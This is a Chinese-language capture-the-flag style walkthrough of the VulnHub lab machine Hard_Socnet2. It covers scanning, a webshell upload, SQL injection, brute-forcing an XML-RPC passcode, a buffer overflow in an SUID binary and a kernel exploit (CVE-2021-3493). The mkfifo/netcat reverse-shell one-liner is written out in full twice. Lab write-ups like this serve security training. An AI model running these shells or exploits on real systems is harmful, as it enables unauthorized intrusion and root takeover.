VulnHub靶机-Hard_Socnet2 |红队打靶
2023-5-24 08:3:57 Author: 0x00实验室(查看原文) 阅读量:23 收藏

 声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!

实战打靶系列第 05 篇文章 

靶机地址:

https://download.vulnhub.com/boredhackerblog/hard_socnet2

一、主机发现

acrpscan -l

image-20230520202901871

靶机的ip:192.168.56.106

kali的ip:192.168.56.103

二、对靶机进一步探测

1、对靶机开放端口、运行的服务和操作系统进行探测

nmap -sV -sC -O -p- 192.168.56.106

image-20230520203216663

靶机开放了22,80,8000三个端口,22跑的是OpenSSH的服务,80端口是apache的http服务,8000端口是python运行的一个BaseHTTPServer;

操作系统探测是Linux 3.2 - 4.9 。

2、通过浏览器去访问80,8000端口

访问8000端口,提示提交的方法不对,那么利用burp的批量化提交数据去探测是属于哪种方法

image-20230520203821093

image-20230520204450864

image-20230520204516544

发现常见的6种都显示500或者501,那么说明8000端口的提交方式与平常的http请求的提交方式不同。

访问80端口,是一个登录框,有登录的选项也有注册的选项

image-20230520203734673

因为这里有登录框,所以先不进行目录扫描;看到这个登录框,第一反应是弱口令,但是看到了Email,因为不知道邮箱的形式的,那么不得不放弃弱口令的选择。

看到有sign up的字眼,那么注册一个账号登录进去

image-20230520205251035

登录进去后,发现这是一个类似留言功能的留言板,在下面的News Feed中,发现除了注册的用户,还有admin和testuser用户,并且admin提到一个关于monitor.py的监控服务

image-20230520205328137

image-20230520214909654

习惯性的发送一个“,发现没有任何报错信息

image-20230520205650717

但是在Profile下发现可以进行上传文件地方,尝试进行获取shell

三、获取初始shell

方法一:通过文件上传一句话木马,蚁剑连接获取shell

image-20230520210636002

上传成功,在图片那么右键获取shell.php链接

image-20230520210308521

使用蚁剑去连接,连接成功

image-20230520210705319

方法二:sql注入

在上面的搜索框输入',发现有sql语句暴露出来,那么使用sqlmap进行自动化注入

image-20230520211003929

使用sqlmap自动化注入,发现admin和testuser用户和各自的密码,但是登录之后,还是得使用文件上传获取初始shell,并且获取的shell和方法一的shell权限一样

image-20230520211825178

四、提权

1、第一次提权(socnet)

在蚁剑端,将shell反弹到kali

可以使用nc串联

这里使用另外一种 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.56.103 3333 > /tmp/f

使用mkfifo堆栈的效果将shell反弹

image-20230520212240380

image-20230520213735451

反弹到kali之后,查看sudo -l,自动任务/etc/crontab,都没有可以利用的

image-20230520214146921

当来到home下,发现有socnet用户,进去发现ls -la发现一个拥有suid和guid权限的文件,add_record

image-20230520214457232

file add_record 查看一下文件的类型,发现是一个linux下的可执行文件

目光来到peda目录,这是一个python下的一个程序模块

在前面的留言中admin提到一个monitor.py文件,刚好在这个文件中,查看一下

image-20230520215201544

发现引入了SimpleXMLRPCServer这个模块,并且这个服务开放在8000端口,这也就解释了前面为什么8000端口,用平常的http请求方法访问不了

代码审计:

通过循环去创建一个随机数及进行验证(但是这个随机数固定的,每次重启都会改变),然后去打开shell输入cmd参数执行

image-20230520215356590

看到下面的函数,cpu等函数是查询靶机的各种信息,secure_cmd函数是可以传入自定义命令的,但是需要进行验证输入的passcode和前面产生的随机数是否相同,前面发现这个文件的属主是socnet,那么是否可以通过这个服务去提升权限

image-20230520215607425

通过搜索引擎发现,这个服务的服务端和客户端的构建非常简单

image-20230520220057198

尝试在本地搭建一个客户端去访问这个靶机中的8000端口的服务,先去访问cpu这个函数

image-20230520221043241

返回了靶机的cpu信息

image-20230520221103089

那么通过python的循环进行爆破出这个随机数

image-20230520222441771

爆破出来passcode的数值是4644

image-20230520222457428

既然知道随机数,那么编写反弹shell

image-20230520222604056

执行python3 kehu.py

image-20230520222646764

拿到sconet的shell

2、第二次提权(root)

方法一:缓冲区溢出提权

python -c 'import pty;pty.spawn("/bin/bash")'  提高shell的交互性(也可以使用export TERM=xterm-color,但是在后面运行程序时的交互性不好)

image-20230521133039037

find . -perm -u=s -type f 2>/dev/null 查看当前路径下suid文件

image-20230521131656599

file add_record  查看一下文件的类型,发现是一个linux下的可执行文件(前面有查看)

image-20230521131852558

对这个程序进行运行

image-20230521133132115

运行这个程序,首先,会打印出Welcome to Add Record application  Use it to add info about Social Network 2.0 Employees

然后进行一系列的输入,在当前目录下会创建一个employee_records.txt,用来保存输入的数据

在最后的Ever got in trouble中输入0,就直接跳出,输入1就会打印Explain,去输入数据,输入完之后,就会退出

image-20230521133541680

了解了这个程序的工作流程,那么去测试是否有一些内存溢出的漏洞

在第一次提权中,有python的模块peda,peda模块中有一个gdb的命令,可以用来动态调试一个可执行文件的进程

使用gdb -q ./add_record   (-q使用安静的模式运行,来测试是否有漏洞)

image-20230521134355853

输入r 运行这个程序,使用300个A去测试每个可以输入的位置,看是否存在内存溢出

image-20230521134314594

第一个位置,程序正常退出

image-20230521134647301

第二个位置,程序也正常退出

image-20230521134744561

第三、四个位置,程序仍然正常退出

image-20230521134811265

来到第五个位置,也就是Ever got in trouble输入1之后,惊喜的发现不是正常退出了

image-20230521134910366

在这里,发现堆栈被A所覆盖,也就是在Explain的位置,没有去做好内存范围的限定,导致在输入300个A的时候,覆盖到内存的其它位置。

那么,在测试一些内存溢出的漏洞时,要时常去观察,EIP寄存器的内容,因为EIP寄存器存放的是cpu下一个要进行操作的内存地址,在这里可以看到EIP的寄存器也被A所覆盖,这里的A具体是哪几个A,在这里目前不清楚,所以接下要去判断EIP中的A是具体的哪几个A,知道之后就可以在那些A的位置,添加要它执行的payload的内存地址,从而来提权。

使用200个A,100个A进行测试,缩小范围,确定EIP寄存器内容的位置、

image-20230521140317035

image-20230521140348132

200个A和100个A依然溢出,那么利用gdb去生成一段特征字符,有利于去精确的定位EIP中的4个A(100个A仍然溢出,证明EIP寄存器存放的内存地址在100A之中某个A的后面)

pattern create 100

image-20230521140701726

然后将这个特征字符输入到上面有缓冲区溢出的位置

image-20230521140834373

使用gdb去寻找这几个字符在具体的哪几个位置

pattern search

image-20230521141045821

看到EIP的偏移量是62,也就是从63个字符开始,就会进入到EIP寄存器中

构造一段62个A加BCDE去判断寄存器的存放顺序,输入之后,仍然发生溢出,可以看到EIP寄存器存放的位置与BCDE的顺序相反,也就是等一下的payload也要相反

image-20230521141501464

接下来,反编译main函数,(出现@plt的都是C语言的内嵌函数)

disas main

image-20230521142014127

在这段汇编代码中,发现了自定义的函数vuln

查看这个应用中的具体函数

info function(info func也可以)

image-20230521142343941

拉到最上面,发现了vuln和backdoor,那么这个bakdoor会不会是作者留在的一下后门,用来控制这个程序呢?还是说是作者给的提示,而且这里面还使用了system和setuid的函数,那么具体的去查看vuln和backdoor这两个函数

image-20230521142603071


image-20230521142843261

disas vuln 反编译vuln函数,看到一个strcpy函数的调用,通过搜索引擎的搜索,strcpy存在字符串溢出,那么可以初步判断,这个应用的缓冲区溢出,是由strcpy这个函数导致的

image-20230521143155239

disas backdoor  反编译backdoor这个函数,可以发现里面调用了system和setuid的函数,那么需要去知道它调用这两个函数的作用

image-20230521143505352

在刚才反编译main函数中,知道应用调用了vuln的函数,vuln调用了strcpy这个存在缓冲区溢出的函数,但是没有调用backdoor函数,那么去利用缓冲区溢出的漏洞,让vuln函数去调用backdoor函数,利用backdoor调用的system,setuid函数,去执行到system函数中的他要执行的操作系统的命令

将backdoor函数的起始地址加到EIP寄存器中,让backdoor函数执行,然后去观察它执行的系统命令,那么利用python生成一个payload(从上面可以知道EIP寄存器后面的内存地址在62个A之后)

image-20230521145041413

image-20230521145928099

r执行中,将payload导入,执行过后,提示有两个进程生成,有/bin/dash和/bin/bash加载

image-20230521150120637

为什么回去产生着两个进程呢?下一个断点在vuln函数,在执行vuln函数后,单步执行(执行payload后的不好定位,重新进入gdb去调试,q退出gdb)

break vuln  下一个断点在vuln函数    s  单步执行

image-20230521150701118

经历了很多步的跟进,看到了setuid函数,猜测前面的操作在申请权限

image-20230521151051294

再一次经历一段时间的跟进,看到了system函数,并且在执行system函数之前,EAX的值为/bin/bash,在执行system的前面,出现了push eax,也就是system函数执行的系统命令是/bin/bash

image-20230521151258453

那么也就是说利用payload让EIP去执行backdoor函数,然后执行系统函数,获得权限

cat payload - | ./add_record  将payload的内容全部输出给 ./add_record,完成提权.

image-20230521151958837

可以再次通过反弹shell,得到一个更稳定的shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.56.103 3333 > /tmp/f

image-20230521152123772

image-20230521152138683

方法二:CVE-2021-3493(提权内核漏洞)

因为靶机是在作者20年搭建的,但是CVE-2021-3493实在21年出的漏洞,所以不符合作者的理念

下载exp,开启一个python服务,将exp下载到靶机中

image-20230521153359358

image-20230521153607794

使用gcc编译

gcc exploit.c -o exp

image-20230521153705161

执行exp,提权成功

image-20230521153729534
参考资料:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5MDY2MTUyMA==&mid=2247490065&idx=1&sn=05a1f5afffeaf8be3c3d8d85103c6fb0&chksm=cfd865eef8afecf8c3c4e8f0f44a55fd17fa256a665fa00f7a2f0a8f89d7d41c9465a3cbfb46#rd
如有侵权请联系:admin#unsafe.sh